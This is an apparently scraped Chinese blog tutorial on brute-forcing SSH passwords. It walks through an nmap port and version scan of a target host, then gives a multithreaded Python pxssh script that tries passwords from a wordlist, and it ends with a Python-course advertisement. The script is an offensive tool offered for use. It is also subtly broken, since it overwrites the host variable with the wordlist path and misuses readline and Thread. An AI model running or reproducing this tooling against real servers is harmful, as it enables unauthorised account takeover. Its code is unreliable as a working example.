作者:Openset | 来源:互联网 | 2023-08-20 16:44
如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和首先我们看一下基本的原理以及过程Paste_Image.png我们看一下准备工作:我们需要
如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和
首先我们看一下基本的原理以及过程
Paste_Image.png
我们看一下准备工作:
我们需要获取目标机器的IP和SHH端口 ssh端口是可以改变的,所以我们需要去扫描机器的正确的ssh端口。我们使用nmap工具去扫描,使用下面这条命令就可以目标机器上面存在的所有的端口以及服务的名称和使用软件的版本号:
Nmap -v -p 1-65535 -sV -O -sS -T4 192.168.1.110(目标机器)
Paste_Image.png
大家可以看到我们的ssh端口是我们的12784。ssh版本是5.3
现在我们以及获取到我们需要的信息了 IP:192.168.1.110 PORT:12784
我们可以开始破解了。
Paste_Image.png
大家可以看到password Found: vagrant
这个就是我们的目标机器的密码:
#python pexpect pxssh远程登录 login()方法可以帮助我们去登录目标机器from pexpect import pxsshimport optparse #处理我们命令行参数的模块from threading import * #多线程 高并发 可以同时登录多个密码import timemaxConnections = 5 #执行最大线程数 可以修改#把maxConnection绑定到我们BoundedSemaphore方法 赋值给connection对象connection_lock = BoundedSemaphore(value=maxConnections)Found = False #设置一个初始化值 false后面会用到Failes = 0 #设置一个初始化值为0def connect(host, user, password, ports, release): #传了5个变量进去 global Found global Failes try: s = pxssh.pxssh() #把方法绑定到对象s 方便调用 s.login(host,user,password,ports) #调用我们的pxssh.login方法并把参数传进去 print '[+] Password Found:' +password #打印匹配到的密码 Found = True #如果等于true就结束 except Exception, e: if 'read_nonblocking' in str(e): #这个字符串表示主机连接次数过多,ssh不对外提供服务 Failes += 1 time.sleep(5) #休息5秒 connect(host,user,password,False) #重新调用connect函数 finally: if release: connection_lock.release()def main(): parser = optparse.OptionParser("usage%prog -H -u -F -P ") #创建一个对象parser绑定一个帮助信息 自动生成 parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-u', dest='user', type='string', help='specify target user') parser.add_option('-F', dest='passwdFile', type='string', help='specify target password file') parser.add_option('-P', dest='ports', type='string', help='specify target ports') #当我们输入-p之后会把参数赋值给ports (options, args)=parser.parse_args() host = options.tgtHost user = options.user passwdFiles = options.passwdFile host = options.passwdFile ports = options.ports if (host==None) | (user==None) | (passwdFiles==None) | (ports==None): #判断获取的值是否为空,如果有一个为空就打印帮助信息 print parser.usage #打印帮助信息 exit() fn = open(passwdFiles,'r') #使用open方法打开文件并绑定到fn这个对象 for line in fn.readline(): if Found: print "[*] exiting: password Found" exit() if Failes > 5: print "[!]exiting: Too many socket timeouts" exit() connection_lock.acquire() #锁定 password = line.strip('\r\n') print "[-] Testing: " +str(password) t = Thread(target = connect(), args=(host, user, password, ports, True)) #启动多线程,并传入方法connet函数 args是函数的参数if __name__ == '__main__': main()
如果你符合下面的情况中的任意一条,那我十分建议你加入跟着一起学习
1.准备从事编程工作,但是不知道选择什么语言好
2.只掌握了Python基础,缺乏系统性的学习以及企业级项目实战,达不到求职的能力
3.有一定Python基础,但是求职屡屡碰壁,各种问题频繁暴露,甚至怀疑自己不适合做开发
4.准备转行从事开发的同学
5.年满18即可
6.想利用Python副业月入3000-80000
****扫码二维码领取Python学习试学课程+课程咨询!
领取福利加小姐姐微信:SX77661
免费领取学习+课程规划